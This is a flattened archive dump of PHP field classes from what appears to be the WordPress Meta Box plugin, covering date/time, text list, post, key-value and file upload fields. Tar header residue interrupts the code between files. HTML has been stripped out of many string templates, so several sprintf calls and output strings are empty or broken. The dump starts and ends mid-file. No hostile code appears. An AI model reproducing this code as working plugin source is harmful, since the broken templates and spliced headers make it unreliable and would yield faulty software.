'dd' => 'd', 'oo' => 'z', 'D' => 'D', 'DD' => 'l', 'm' => 'n', 'mm' => 'm', 'M' => 'M', 'MM' => 'F', 'y' => 'y', 'yy' => 'Y', 'o' => 'z', ]; /** * Translate time format from jQuery UI time picker to PHP date(). * It's used to store timestamp value of the field. * Missing: 't' => '', T' => '', 'm' => '', 's' => ''. * * @var array */ protected static $time_formats = [ 'H' => 'G', 'HH' => 'H', 'h' => 'g', 'hh' => 'h', 'mm' => 'i', 'ss' => 's', 'l' => 'u', 'tt' => 'a', 'TT' => 'A', ]; public static function register_assets() { // jQueryUI base theme: https://github.com/jquery/jquery-ui/tree/1.13.2/themes/base $url = RWMB_CSS_URL . 'jqueryui'; wp_register_style( 'jquery-ui-core', "$url/core.css", [], '1.13.2' ); wp_style_add_data( 'jquery-ui-core', 'path', RWMB_CSS_DIR . 'jqueryui/core.css' ); wp_register_style( 'jquery-ui-theme', "$url/theme.css", [], '1.13.2' ); wp_style_add_data( 'jquery-ui-theme', 'path', RWMB_CSS_DIR . 'jqueryui/theme.css' ); wp_register_style( 'jquery-ui-datepicker', "$url/datepicker.css", [ 'jquery-ui-core', 'jquery-ui-theme' ], '1.13.2' ); wp_style_add_data( 'jquery-ui-datepicker', 'path', RWMB_CSS_DIR . 'jqueryui/datepicker.css' ); wp_register_style( 'jquery-ui-slider', "$url/slider.css", [ 'jquery-ui-core', 'jquery-ui-theme' ], '1.13.2' ); wp_style_add_data( 'jquery-ui-slider', 'path', RWMB_CSS_DIR . 'jqueryui/slider.css' ); // jQueryUI timepicker addon: https://github.com/trentrichardson/jQuery-Timepicker-Addon wp_register_style( 'jquery-ui-timepicker', "$url/jquery-ui-timepicker-addon.min.css", [ 'rwmb-date', 'jquery-ui-slider' ], '1.6.3' ); wp_style_add_data( 'jquery-ui-timepicker', 'path', RWMB_CSS_DIR . 'jqueryui/jquery-ui-timepicker-addon.min.css' ); wp_register_style( 'rwmb-date', RWMB_CSS_URL . 'date.css', [ 'jquery-ui-datepicker' ], RWMB_VER ); wp_style_add_data( 'rwmb-date', 'path', RWMB_CSS_DIR . 'date.css' ); // Scripts. $url = RWMB_JS_URL . 'jqueryui'; wp_register_script( 'jquery-ui-timepicker', "$url/jquery-ui-timepicker-addon.min.js", [ 'jquery-ui-datepicker', 'jquery-ui-slider' ], '1.6.3', true ); wp_register_script( 'jquery-ui-timepicker-slider', "$url/jquery-ui-sliderAccess.js", [ 'jquery-ui-datepicker', 'jquery-ui-slider' ], '0.3', true ); wp_register_script( 'jquery-ui-timepicker-i18n', "$url/jquery-ui-timepicker-addon-i18n.min.js", [ 'jquery-ui-timepicker' ], '1.6.3', true ); wp_register_script( 'rwmb-datetime', RWMB_JS_URL . 'datetime.js', [ 'jquery-ui-datepicker', 'jquery-ui-timepicker-i18n', 'underscore', 'jquery-ui-button', 'jquery-ui-timepicker-slider', 'rwmb' ], RWMB_VER, true ); wp_register_script( 'rwmb-date', RWMB_JS_URL . 'date.js', [ 'jquery-ui-datepicker', 'underscore', 'rwmb' ], RWMB_VER, true ); wp_register_script( 'rwmb-time', RWMB_JS_URL . 'time.js', [ 'jquery-ui-timepicker-i18n', 'jquery-ui-button', 'jquery-ui-timepicker-slider', 'rwmb' ], RWMB_VER, true ); $handles = [ 'datetime', 'time' ]; $locale = str_replace( '_', '-', get_user_locale() ); $locale_short = substr( $locale, 0, 2 ); $data = [ 'locale' => $locale, 'localeShort' => $locale_short, ]; foreach ( $handles as $handle ) { RWMB_Helpers_Field::localize_script_once( "rwmb-$handle", 'RWMB_' . ucfirst( $handle ), $data ); } } /** * Enqueue scripts and styles. */ public static function admin_enqueue_scripts() { self::register_assets(); wp_enqueue_style( 'jquery-ui-timepicker' ); wp_enqueue_script( 'rwmb-datetime' ); } /** * Get field HTML. * * @param mixed $meta The field meta value. * @param array $field The field parameters. * * @return string */ public static function html( $meta, $field ) { $output = ''; if ( $field['timestamp'] ) { $name = $field['field_name']; $field = wp_parse_args( [ 'field_name' => $name . '[formatted]' ], $field ); $timestamp = $meta['timestamp'] ?? 0; $output .= sprintf( '', esc_attr( $name . '[timestamp]' ), (int) $timestamp ); $meta = $meta['formatted'] ?? ''; } $output .= parent::html( $meta, $field ); if ( $field['inline'] ) { $output .= '
    '; } return $output; } /** * Calculates the timestamp from the datetime string and returns it if $field['timestamp'] is set or the datetime string if not. * * @param mixed $new The submitted meta value. * @param mixed $old The existing meta value. * @param int $post_id The post ID. * @param array $field The field parameters. * * @return string|int */ public static function value( $new, $old, $post_id, $field ) { if ( $field['timestamp'] ) { if ( is_array( $new ) ) { return $new['timestamp']; } if ( ! is_numeric( $new ) ) { return strtotime( $new ); } return $new; } if ( $field['save_format'] ) { // Fix 'c' and 'r' formats not containing WordPress timezone. $timezone = in_array( $field['save_format'], [ 'c', 'r' ], true ) ? wp_timezone() : null; $date = DateTimeImmutable::createFromFormat( $field['php_format'], $new, $timezone ); return $date === false ? $new : $date->format( $field['save_format'] ); } return $new; } /** * Get meta value. * * @param int $post_id The post ID. * @param bool $saved Whether the meta box is saved at least once. * @param array $field The field parameters. * * @return mixed */ public static function meta( $post_id, $saved, $field ) { $meta = parent::meta( $post_id, $saved, $field ); if ( $field['timestamp'] ) { return Arr::map( $meta, __CLASS__ . '::from_timestamp', $field ); } if ( $field['save_format'] && $meta ) { return Arr::map( $meta, __CLASS__ . '::from_save_format', $field ); } return $meta; } /** * Format meta value if set 'timestamp'. */ public static function from_timestamp( $meta, array $field ): array { return [ 'timestamp' => $meta ?: null, 'formatted' => $meta ? gmdate( $field['php_format'], intval( $meta ) ) : '', ]; } /** * Transform meta value from save format to the JS format. */ public static function from_save_format( $meta, array $field ): string { $formats = array_merge( [ $field['save_format'] => $field['save_format'], ], [ 'c' => DateTimeInterface::ATOM, 'r' => DateTimeInterface::RFC2822, ] ); $format = $formats[ $field['save_format'] ]; $date = DateTimeImmutable::createFromFormat( $format, $meta ); return false === $date ? (string) $meta : $date->format( $field['php_format'] ); } /** * Normalize parameters for field. * * @param array $field The field parameters. * @return array */ public static function normalize( $field ) { $field = wp_parse_args( $field, [ 'timestamp' => false, 'inline' => false, 'js_options' => [], 'save_format' => '', 'autocomplete' => 'off', ] ); // Deprecate 'format', but keep it for backward compatible. // Use 'js_options' instead. $field['js_options'] = wp_parse_args( $field['js_options'], [ 'timeFormat' => 'HH:mm', 'separator' => ' ', 'dateFormat' => $field['format'] ?? 'yy-mm-dd', 'showButtonPanel' => true, 'changeYear' => true, 'yearRange' => '-100:+100', 'changeMonth' => true, 'oneLine' => true, 'stepMinute' => 5, 'controlType' => 'select', // select or slider 'addSliderAccess' => true, 'sliderAccessArgs' => [ 'touchonly' => true, // To show sliderAccess only on touch devices ], ] ); if ( $field['inline'] ) { $field['js_options'] = wp_parse_args( $field['js_options'], [ 'altFieldTimeOnly' => false ] ); } $field['php_format'] = static::get_php_format( $field['js_options'] ); $field = parent::normalize( $field ); return $field; } /** * Get the attributes for a field. * * @param array $field The field parameters. * @param mixed $value The meta value. * * @return array */ public static function get_attributes( $field, $value = null ) { $attributes = parent::get_attributes( $field, $value ); $attributes = wp_parse_args( $attributes, [ 'data-options' => wp_json_encode( $field['js_options'] ) ] ); $attributes['type'] = 'text'; return $attributes; } /** * Returns a date() compatible format string from the JavaScript format. * @link http://www.php.net/manual/en/function.date.php */ protected static function get_php_format( array $js_options ): string { return strtr( $js_options['dateFormat'], self::$date_formats ) . $js_options['separator'] . strtr( $js_options['timeFormat'], self::$time_formats ); } /** * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. * * @param array $field Field parameters. * @param string $value The value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_single_value( $field, $value, $args, $post_id ) { if ( $field['timestamp'] ) { $value = self::from_timestamp( $value, $field ); } else { $value = [ 'timestamp' => strtotime( $value ), 'formatted' => $value, ]; } return empty( $args['format'] ) ? $value['formatted'] : gmdate( $args['format'], $value['timestamp'] ); } } fields/fieldset-text.php000064400000006561151545703130011320 0ustar00 %s

    '; if ( ! is_array( $field['options'] ) ) { return ''; } foreach ( $field['options'] as $key => $label ) { $value = $meta[ $key ] ?? ''; $field['attributes']['name'] = $field['field_name'] . "[{$key}]"; $html[] = sprintf( $tpl, $label, parent::html( $value, $field ) ); } $out = '
    ' . ( $field['desc'] ? '' . $field['desc'] . '' : '' ) . implode( ' ', $html ) . '
    '; return $out; } protected static function input_description( array $field ) : string { return ''; } /** * Normalize parameters for field. * * @param array $field Field parameters. * * @return array */ public static function normalize( $field ) { $field = parent::normalize( $field ); $field['multiple'] = false; $field['attributes']['id'] = false; $field['attributes']['type'] = 'text'; return $field; } /** * Format value for the helper functions. * * @param array $field Field parameters. * @param string|array $value The field meta value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_value( $field, $value, $args, $post_id ) { $output = ''; foreach ( $field['options'] as $label ) { $output .= ""; } $output .= ''; if ( ! $field['clone'] ) { $output .= self::format_single_value( $field, $value, $args, $post_id ); } else { foreach ( $value as $subvalue ) { $output .= self::format_single_value( $field, $subvalue, $args, $post_id ); } } $output .= '
    $label
    '; return $output; } /** * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. * * @param array $field Field parameters. * @param array $value The value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_single_value( $field, $value, $args, $post_id ) { $output = ''; foreach ( $value as $subvalue ) { $output .= "$subvalue"; } $output .= ''; return $output; } /** * Since we're using an array of text fields, we need to check if all of them are empty. * Otherwise, there is no way to know if the field is empty or not. */ public static function value( $new, $old, $post_id, $field ) { $all_empty = empty( array_filter( (array) $new ) ); return $all_empty ? [] : $new; } } fields/file-upload.php000064400000001671151545703130010735 0ustar00 0, ] ); $field['js_options'] = wp_parse_args( $field['js_options'], [ 'maxFileSize' => $field['max_file_size'], ] ); return $field; } } fields/post.php000064400000016272151545703130007524 0ustar00filter_post( 'field', FILTER_DEFAULT, FILTER_FORCE_ARRAY ); // Required for 'choice_label' filter. See self::filter(). $field['clone'] = false; $field['_original_id'] = $field['id']; // Search. $field['query_args']['s'] = $request->filter_post( 'term' ); // Pagination. if ( 'query:append' === $request->filter_post( '_type' ) ) { $field['query_args']['paged'] = $request->filter_post( 'page', FILTER_SANITIZE_NUMBER_INT ); } // Query the database. $items = self::query( null, $field ); $items = array_values( $items ); $items = apply_filters( 'rwmb_ajax_get_posts', $items, $field, $request ); $data = [ 'items' => $items ]; // More items for pagination. $limit = (int) $field['query_args']['posts_per_page']; if ( -1 !== $limit && count( $items ) === $limit ) { $data['more'] = true; } wp_send_json_success( $data ); } /** * Normalize parameters for field. * * @param array $field Field parameters. * @return array */ public static function normalize( $field ) { $field = wp_parse_args( $field, [ 'post_type' => 'post', 'parent' => false, 'query_args' => [], ] ); $field['post_type'] = (array) $field['post_type']; /* * Set default placeholder: * - If multiple post types: show 'Select a post'. * - If single post type: show 'Select a %post_type_name%'. */ $placeholder = __( 'Select a post', 'meta-box' ); if ( 1 === count( $field['post_type'] ) ) { $post_type = reset( $field['post_type'] ); $post_type_object = get_post_type_object( $post_type ); if ( ! empty( $post_type_object ) ) { // Translators: %s is the post singular label. $placeholder = sprintf( __( 'Select a %s', 'meta-box' ), strtolower( $post_type_object->labels->singular_name ) ); } } $field = wp_parse_args( $field, [ 'placeholder' => $placeholder, ] ); // Set parent option, which will change field name to `parent_id` to save as post parent. if ( $field['parent'] ) { $field['multiple'] = false; $field['field_name'] = 'parent_id'; } $field = parent::normalize( $field ); // Set default query args. $posts_per_page = $field['ajax'] ? 10 : -1; $field['query_args'] = wp_parse_args( $field['query_args'], [ 'post_type' => $field['post_type'], 'post_status' => 'publish', 'posts_per_page' => $posts_per_page, ] ); parent::set_ajax_params( $field ); return $field; } public static function query( $meta, array $field ): array { $args = wp_parse_args( $field['query_args'], [ 'no_found_rows' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'mb_field_id' => $field['id'], ] ); $meta = wp_parse_id_list( (array) $meta ); // Query only selected items. if ( ! empty( $field['ajax'] ) && ! empty( $meta ) ) { $args['posts_per_page'] = count( $meta ); $args['post__in'] = $meta; } // Get from cache to prevent same queries. $last_changed = wp_cache_get_last_changed( 'posts' ); $key = md5( serialize( $args ) ); $cache_key = "$key:$last_changed"; $options = wp_cache_get( $cache_key, 'meta-box-post-field' ); if ( false !== $options ) { return $options; } // Only search by title. add_filter( 'posts_search', [ __CLASS__, 'search_by_title' ], 10, 2 ); $query = new WP_Query( $args ); remove_filter( 'posts_search', [ __CLASS__, 'search_by_title' ] ); $options = []; foreach ( $query->posts as $post ) { if ( ! current_user_can( 'read_post', $post ) ) { continue; } $label = $post->post_title ? $post->post_title : __( '(No title)', 'meta-box' ); $label = self::filter( 'choice_label', $label, $field, $post ); $options[ $post->ID ] = [ 'value' => $post->ID, 'label' => $label, 'parent' => $post->post_parent, ]; } // Cache the query. wp_cache_set( $cache_key, $options, 'meta-box-post-field' ); return $options; } /** * Only search posts by title. * WordPress searches by either title or content which is confused when users can't find their posts. * * @link https://developer.wordpress.org/reference/hooks/posts_search/ */ public static function search_by_title( $search, $wp_query ) { global $wpdb; if ( empty( $search ) ) { return $search; } $q = $wp_query->query_vars; $n = ! empty( $q['exact'] ) ? '' : '%'; $search = []; foreach ( (array) $q['search_terms'] as $term ) { $term = esc_sql( $wpdb->esc_like( $term ) ); $search[] = "($wpdb->posts.post_title LIKE '{$n}{$term}{$n}')"; } if ( empty( $search ) ) { return $search; } $search = ' AND (' . implode( ' AND ', $search ) . ') '; if ( ! is_user_logged_in() ) { $search .= " AND ($wpdb->posts.post_password = '') "; } return $search; } /** * Get meta value. * If field is cloneable, value is saved as a single entry in DB. * Otherwise value is saved as multiple entries (for backward compatibility). * * @see "save" method for better understanding * * @param int $post_id Post ID. * @param bool $saved Is the meta box saved. * @param array $field Field parameters. * * @return mixed */ public static function meta( $post_id, $saved, $field ) { return $field['parent'] ? wp_get_post_parent_id( $post_id ) : parent::meta( $post_id, $saved, $field ); } /** * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. * * @param array $field Field parameters. * @param int $value The value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param ?int $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_single_value( $field, $value, $args, $post_id ) { if ( empty( $value ) ) { return ''; } $link = $args['link'] ?? 'view'; $text = get_the_title( $value ); if ( false === $link ) { return $text; } $url = get_permalink( $value ); if ( 'edit' === $link ) { $url = get_edit_post_link( $value ); } return sprintf( '%s', esc_url( $url ), wp_kses_post( $text ) ); } public static function add_new_form( array $field ): string { if ( ! current_user_can( 'edit_posts' ) ) { return ''; } if ( 1 !== count( $field['post_type'] ) ) { return ''; } $post_type = reset( $field['post_type'] ); if ( ! post_type_exists( $post_type ) ) { return ''; } $post_type_object = get_post_type_object( $post_type ); return sprintf( '%s', admin_url( $post_type === 'post' ? 'post-new.php' : 'post-new.php?post_type=' . $post_type ), esc_html( $post_type_object->labels->add_new_item ) ); } } fields/text-list.php000064400000006557151545703130010501 0ustar00%s '; $attributes = self::get_attributes( $field, $meta ); $attributes['type'] = 'text'; $count = 0; foreach ( $field['options'] as $placeholder => $label ) { $attributes['value'] = $meta[ $count ] ?? ''; $attributes['placeholder'] = $placeholder; $html[] = sprintf( $input, $label, self::render_attributes( $attributes ) ); $count ++; } return implode( ' ', $html ); } /** * Normalize parameters for field. * * @param array $field Field parameters. * * @return array */ public static function normalize( $field ) { $field = parent::normalize( $field ); if ( ! $field['clone'] ) { $field['class'] .= ' rwmb-text_list-non-cloneable'; } return $field; } /** * Set value of meta before saving into database. * Do not save if all inputs has no value. * * @param mixed $new The submitted meta value. * @param mixed $old The existing meta value. * @param int $post_id The post ID. * @param array $field The field parameters. * * @return mixed */ public static function value( $new, $old, $post_id, $field ) { $filtered = array_filter( $new ); return count( $filtered ) ? $new : []; } /** * Format value for the helper functions. * * @param array $field Field parameters. * @param string|array $value The field meta value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_value( $field, $value, $args, $post_id ) { $output = ''; foreach ( $field['options'] as $label ) { $output .= ""; } $output .= ''; if ( ! $field['clone'] ) { $output .= self::format_single_value( $field, $value, $args, $post_id ); } else { foreach ( $value as $subvalue ) { $output .= self::format_single_value( $field, $subvalue, $args, $post_id ); } } $output .= '
    $label
    '; return $output; } /** * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. * * @param array $field Field parameters. * @param array $value The value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_single_value( $field, $value, $args, $post_id ) { $output = ''; foreach ( $value as $subvalue ) { $output .= "$subvalue"; } $output .= ''; return $output; } } fields/multiple-values.php000064400000002521151545703130011657 0ustar00', self::render_attributes( $attributes ), checked( ! empty( $meta ), 1, false ) ); if ( $field['desc'] ) { $output = ""; } return $output; } protected static function input_description( array $field ) : string { return ''; } /** * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. * * @param array $field Field parameters. * @param string $value The value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_single_value( $field, $value, $args, $post_id ) { return $value ? __( 'Yes', 'meta-box' ) : __( 'No', 'meta-box' ); } } fields/button.php000064400000002412151545703130010041 0ustar00%s', self::render_attributes( $attributes ), $field['std'] ); } /** * Normalize parameters for field. * * @param array $field The field parameters. * @return array */ public static function normalize( $field ) { $field = wp_parse_args( $field, [ 'std' => __( 'Click me', 'meta-box' ), ] ); $field = parent::normalize( $field ); return $field; } /** * Get the attributes for a field. * * @param array $field The field parameters. * @param mixed $value The attribute value. * @return array */ public static function get_attributes( $field, $value = null ) { $attributes = parent::get_attributes( $field, $value ); $attributes = wp_parse_args( $attributes, [ 'type' => $field['type'], ] ); $attributes['class'] .= ' button hide-if-no-js'; return $attributes; } } fields/key-value.php000064400000005561151545703130010440 0ustar00', self::render_attributes( $attributes ) ); // Value. $val = isset( $meta[1] ) ? $meta[1] : ''; $attributes = self::get_attributes( $field, $val ); $attributes['placeholder'] = $field['placeholder']['value']; $html .= sprintf( '', self::render_attributes( $attributes ) ); return $html; } protected static function begin_html( array $field ) : string { return parent::begin_html( $field ) . parent::input_description( $field ); } protected static function input_description( array $field ) : string { return ''; } /** * Sanitize field value. * * @param mixed $new The submitted meta value. * @param mixed $old The existing meta value. * @param int $post_id The post ID. * @param array $field The field parameters. * * @return array */ public static function value( $new, $old, $post_id, $field ) { foreach ( $new as &$arr ) { if ( empty( $arr[0] ) && empty( $arr[1] ) ) { $arr = false; } } $new = array_filter( $new ); return $new; } /** * Normalize parameters for field. * * @param array $field Field parameters. * * @return array */ public static function normalize( $field ) { $field['clone'] = true; $field['multiple'] = true; $field = parent::normalize( $field ); $field['attributes']['type'] = 'text'; $field['placeholder'] = wp_parse_args( (array) $field['placeholder'], [ 'key' => __( 'Key', 'meta-box' ), 'value' => __( 'Value', 'meta-box' ), ] ); return $field; } /** * Format value for the helper functions. * * @param array $field Field parameters. * @param string|array $value The field meta value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_clone_value( $field, $value, $args, $post_id ) { return sprintf( ' %s', $value[0], $value[1] ); } } fields/file.php000064400000036621151545703130007456 0ustar00. */ class RWMB_File_Field extends RWMB_Field { public static function admin_enqueue_scripts() { wp_enqueue_style( 'rwmb-file', RWMB_CSS_URL . 'file.css', [], RWMB_VER ); wp_style_add_data( 'rwmb-file', 'path', RWMB_CSS_DIR . 'file.css' ); wp_enqueue_script( 'rwmb-file', RWMB_JS_URL . 'file.js', [ 'jquery-ui-sortable' ], RWMB_VER, true ); RWMB_Helpers_Field::localize_script_once( 'rwmb-file', 'rwmbFile', [ // Translators: %d is the number of files in singular form. 'maxFileUploadsSingle' => __( 'You may only upload maximum %d file', 'meta-box' ), // Translators: %d is the number of files in plural form. 'maxFileUploadsPlural' => __( 'You may only upload maximum %d files', 'meta-box' ), ] ); } public static function add_actions() { add_action( 'post_edit_form_tag', [ __CLASS__, 'post_edit_form_tag' ] ); add_action( 'wp_ajax_rwmb_delete_file', [ __CLASS__, 'ajax_delete_file' ] ); } public static function post_edit_form_tag() { echo ' enctype="multipart/form-data"'; } public static function ajax_delete_file() { $request = rwmb_request(); $field_id = (string) $request->filter_post( 'field_id' ); $type = str_contains( $request->filter_post( 'field_name' ), '[' ) ? 'child' : 'top'; check_ajax_referer( "rwmb-delete-file_{$field_id}" ); if ( 'child' === $type ) { $field_group = explode( '[', $request->filter_post( 'field_name' ) ); $field_id = $field_group[0]; // This is top parent field_id. } // Make sure the file to delete is in the custom field. $attachment = $request->post( 'attachment_id' ); $object_id = $request->filter_post( 'object_id' ); $object_type = (string) $request->filter_post( 'object_type' ); $field = rwmb_get_field_settings( $field_id, [ 'object_type' => $object_type ], $object_id ); $field_value = self::raw_meta( $object_id, $field ); if ( ! self::in_array_r( $attachment, $field_value ) ) { wp_send_json_error( __( 'Error: Invalid file', 'meta-box' ) ); } // Delete the file. if ( is_numeric( $attachment ) ) { $result = wp_delete_attachment( $attachment ); } else { $path = str_replace( home_url( '/' ), trailingslashit( ABSPATH ), $attachment ); $result = unlink( $path ); // phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink } if ( $result ) { wp_send_json_success(); } wp_send_json_error( __( 'Error: Cannot delete file', 'meta-box' ) ); } /** * Recursively search needle in haystack */ protected static function in_array_r( $needle, $haystack, $strict = false ) : bool { foreach ( $haystack as $item ) { if ( ( $strict ? $item === $needle : $item == $needle ) || ( is_array( $item ) && self::in_array_r( $needle, $item, $strict ) ) ) { return true; } } return false; } /** * Get field HTML. * * @param mixed $meta Meta value. * @param array $field Field parameters. * * @return string */ public static function html( $meta, $field ) { $meta = array_filter( (array) $meta ); $i18n_more = apply_filters( 'rwmb_file_add_string', _x( '+ Add new file', 'file upload', 'meta-box' ), $field ); $html = self::get_uploaded_files( $meta, $field ); // Show form upload. $attributes = self::get_attributes( $field, $meta ); $attributes['type'] = 'file'; $attributes['name'] = "{$field['input_name']}[]"; $attributes['class'] = 'rwmb-file-input'; /* * Use JavaScript to toggle 'required' attribute, because: * - Field might already have value (uploaded files). * - Be able to detect when uploading multiple files. */ if ( $attributes['required'] ) { $attributes['data-required'] = 1; $attributes['required'] = false; } // Upload new files. $html .= sprintf( '
    ', self::render_attributes( $attributes ) ); if ( 1 !== $field['max_file_uploads'] ) { $html .= sprintf( '%s', $i18n_more ); } $html .= '
    '; $html .= sprintf( '', $field['index_name'], $field['input_name'] ); return $html; } /** * Get HTML for uploaded files. * * @param array $files List of uploaded files. * @param array $field Field parameters. * @return string */ protected static function get_uploaded_files( $files, $field ) { $delete_nonce = wp_create_nonce( "rwmb-delete-file_{$field['id']}" ); $output = ''; foreach ( (array) $files as $k => $file ) { // Ignore deleted files (if users accidentally deleted files or uses `force_delete` without saving post). if ( get_attached_file( $file ) || $field['upload_dir'] ) { $output .= static::file_html( $file, $k, $field ); } } return sprintf( '
      %s
    ', $field['id'], $field['field_name'], $delete_nonce, $field['force_delete'] ? 1 : 0, $field['max_file_uploads'], $field['mime_type'], $output ); } /** * Get HTML for uploaded file. * * @param int $file Attachment (file) ID. * @param int $index File index. * @param array $field Field data. * @return string */ protected static function file_html( $file, $index, $field ) { $i18n_delete = apply_filters( 'rwmb_file_delete_string', _x( 'Delete', 'file upload', 'meta-box' ) ); $i18n_edit = apply_filters( 'rwmb_file_edit_string', _x( 'Edit', 'file upload', 'meta-box' ) ); $attributes = self::get_attributes( $field, $file ); if ( ! $file ) { return ''; } if ( $field['upload_dir'] ) { $data = self::file_info_custom_dir( $file, $field ); } else { $data = [ 'icon' => wp_get_attachment_image( $file, [ 48, 64 ], true ), 'name' => basename( get_attached_file( $file ) ), 'url' => wp_get_attachment_url( $file ), 'title' => get_the_title( $file ), 'edit_link' => '', ]; $edit_link = get_edit_post_link( $file ); if ( $edit_link ) { $data['edit_link'] = sprintf( '%s', $edit_link, $i18n_edit ); } } return sprintf( '
  • %s
    %s
    %s
    %s %s
  • ', $data['icon'], esc_url( $data['url'] ), esc_html( $data['title'] ), esc_html( $data['name'] ), $data['edit_link'], esc_attr( $file ), esc_html( $i18n_delete ), esc_attr( $attributes['name'] ), esc_attr( $index ), esc_attr( $file ) ); } protected static function file_info_custom_dir( string $file, array $field ) : array { $path = wp_normalize_path( trailingslashit( $field['upload_dir'] ) . basename( $file ) ); $ext = pathinfo( $path, PATHINFO_EXTENSION ); $icon_url = wp_mime_type_icon( wp_ext2type( $ext ) ); $data = [ 'icon' => '', 'name' => basename( $path ), 'path' => $path, 'url' => $file, 'title' => preg_replace( '/\.[^.]+$/', '', basename( $path ) ), 'edit_link' => '', ]; return $data; } /** * Get meta values to save. * * @param mixed $new The submitted meta value. * @param mixed $old The existing meta value. * @param int $post_id The post ID. * @param array $field The field parameters. * * @return array|mixed */ public static function value( $new, $old, $post_id, $field ) { $input = $field['index'] ?? $field['input_name']; // @codingStandardsIgnoreLine if ( empty( $input ) || empty( $_FILES[ $input ] ) ) { return $new; } $new = array_filter( (array) $new ); $count = self::transform( $input ); for ( $i = 0; $i < $count; $i ++ ) { $attachment = self::handle_upload( "{$input}_{$i}", $post_id, $field ); if ( $attachment && ! is_wp_error( $attachment ) ) { $new[] = $attachment; } } return $new; } /** * Get meta values to save for cloneable fields. * * @param array $new The submitted meta value. * @param array $old The existing meta value. * @param int $object_id The object ID. * @param array $field The field settings. * @param array $data_source Data source. Either $_POST or custom array. Used in group to get uploaded files. * * @return mixed */ public static function clone_value( $new, $old, $object_id, $field, $data_source = null ) { if ( ! $data_source ) { // @codingStandardsIgnoreLine $data_source = $_POST; } $indexes = $data_source[ "_index_{$field['id']}" ] ?? []; foreach ( $indexes as $key => $index ) { $field['index'] = $index; $old_value = $old[ $key ] ?? []; $value = $new[ $key ] ?? []; $value = self::value( $value, $old_value, $object_id, $field ); $new[ $key ] = self::filter( 'sanitize', $value, $field, $old_value, $object_id ); } return $new; } /** * Handle file upload. * Consider upload to Media Library or custom folder. * * @param string $file_id File ID in $_FILES when uploading. * @param int $post_id Post ID. * @param array $field Field settings. * * @return \WP_Error|int|string WP_Error if has error, attachment ID if upload in Media Library, URL to file if upload to custom folder. */ protected static function handle_upload( $file_id, $post_id, $field ) { return $field['upload_dir'] ? self::handle_upload_custom_dir( $file_id, $field ) : media_handle_upload( $file_id, $post_id ); } /** * Transform $_FILES from $_FILES['field']['key']['index'] to $_FILES['field_index']['key']. * * @param string $input_name The field input name. * * @return int The number of uploaded files. */ protected static function transform( $input_name ): int { // phpcs:disable foreach ( $_FILES[ $input_name ] as $key => $list ) { foreach ( $list as $index => $value ) { $file_key = sanitize_text_field( "{$input_name}_{$index}" ); if ( ! isset( $_FILES[ $file_key ] ) ) { $_FILES[ $file_key ] = []; } $_FILES[ $file_key ][ $key ] = $value; } } return count( $_FILES[ $input_name ]['name'] ); // phpcs:enable } /** * Normalize parameters for field. * * @param array $field Field parameters. * @return array */ public static function normalize( $field ) { $field = parent::normalize( $field ); $field = wp_parse_args( $field, [ 'std' => [], 'force_delete' => false, 'max_file_uploads' => 0, 'mime_type' => '', 'upload_dir' => '', 'unique_filename_callback' => null, ] ); $field['multiple'] = true; $field['input_name'] = "_file_{$field['id']}"; $field['index_name'] = "_index_{$field['id']}"; return $field; } /** * Get the field value. Return meaningful info of the files. * * @param array $field Field parameters. * @param array $args Not used for this field. * @param int|null $post_id Post ID. null for current post. Optional. * * @return mixed Full info of uploaded files */ public static function get_value( $field, $args = [], $post_id = null ) { $value = parent::get_value( $field, $args, $post_id ); if ( ! $field['clone'] ) { $value = static::files_info( $field, $value, $args ); } else { $return = []; foreach ( $value as $subvalue ) { $return[] = static::files_info( $field, $subvalue, $args ); } $value = $return; } if ( isset( $args['limit'] ) ) { $value = array_slice( $value, 0, intval( $args['limit'] ) ); } return $value; } /** * Get uploaded files information. * * @param array $field Field parameters. * @param array $files Files IDs. * @param array $args Additional arguments (for image size). * @return array */ public static function files_info( $field, $files, $args ) { $return = []; foreach ( (array) $files as $file ) { $info = static::file_info( $file, $args, $field ); if ( $info ) { $return[ $file ] = $info; } } return $return; } /** * Get uploaded file information. * * @param int $file Attachment file ID (post ID). Required. * @param array $args Array of arguments (for size). * @param array $field Field settings. * * @return array|bool False if file not found. Array of (id, name, path, url) on success. */ public static function file_info( $file, $args = [], $field = [] ) { if ( ! empty( $field['upload_dir'] ) ) { return self::file_info_custom_dir( $file, $field ); } $path = get_attached_file( $file ); if ( ! $path ) { return false; } return wp_parse_args( [ 'ID' => $file, 'name' => basename( $path ), 'path' => $path, 'url' => wp_get_attachment_url( $file ), 'title' => get_the_title( $file ), ], wp_get_attachment_metadata( $file ) ); } /** * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. * * @param array $field Field parameters. * @param array $value The value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_single_value( $field, $value, $args, $post_id ) { return sprintf( '%s', esc_url( $value['url'] ), esc_html( $value['title'] ) ); } /** * Handle upload for files in custom directory. * * @param string $file_id File ID in $_FILES when uploading. * @param array $field Field settings. * * @return string URL to uploaded file. */ public static function handle_upload_custom_dir( $file_id, $field ) { // @codingStandardsIgnoreStart if ( empty( $_FILES[ $file_id ] ) ) { return; } $file = $_FILES[ $file_id ]; // @codingStandardsIgnoreEnd // Use a closure to 